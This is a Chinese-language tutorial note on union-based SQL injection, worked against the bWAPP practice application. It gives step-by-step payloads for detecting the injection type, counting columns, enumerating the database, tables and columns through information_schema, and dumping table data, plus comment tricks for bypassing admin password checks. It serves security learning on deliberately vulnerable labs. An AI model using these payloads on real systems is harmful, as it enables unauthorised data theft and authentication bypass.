攻击流程
1. 判断是否存在注入,注入是字符型还是数字型
用1’ or 1=1#若返回正常则为字符型,否则用1 or 1=1#测试为数字型
Admin’ and 1=1 #
Admin’ or 1#
1’ or 1=1#
2.猜解SQL查询语句中的列数(查看sql语句查了几个列)
输入1′ or 1=1 order by 1 #查询成功
输入1′ or 1=1 order by 2 #,查询成功
继续查询,直到出现错误
即可知道SQL查了几个列(字段)
注:
可以通过输入union select 1,2,3…来猜解字段数
或者union select null,2,3,…
3确定显示的字段顺序(确定SQL查列的顺序是firstname,lastname还是lastname,firstname)
输入1′ union select 1,2,3,4,5,6,7 #,查询成功
可以知道title为第2个查询的列,release第三,以此类推。。
4.获取当前数据库名
输入1′ union select 1,database(),3,4,5,6,7 #,查询成功
说明当前数据库为bwapp
5.获取数据库中的表名
1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #查询成功:
说明bwapp库中有5个表,分别是blog,heroes,movies,users,visitors
6.获取表中的字段名
1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=’movies’ #(如果失败,试着手动输入’movies’的单引号.)查询成功,说明movies表中有id,title,release_year,genre,main_character,imdb,tickets_stock这些列(字段)
7.下载数据
1' union select 1,group_concat(id,tickets_stock),group_concat(title),4,5,6,7 from movies#
这样就返回了各字段的数据。
很多时候都是使用注释的方法将验证admin密码语句注释掉:
一、单行注释
SQL语句中的单行注释使用 -- (“--”后面一定要加空格!!!)
create database database_x --创建数据库database_x
二、多行注释
SQL语句中的多行注释采用 /…/
create database database_x
/*
创建一个数据库
名字叫做database_x
*/
三.#注释
DVWA中发现的,字符型注入中语句末尾使用#注释掉’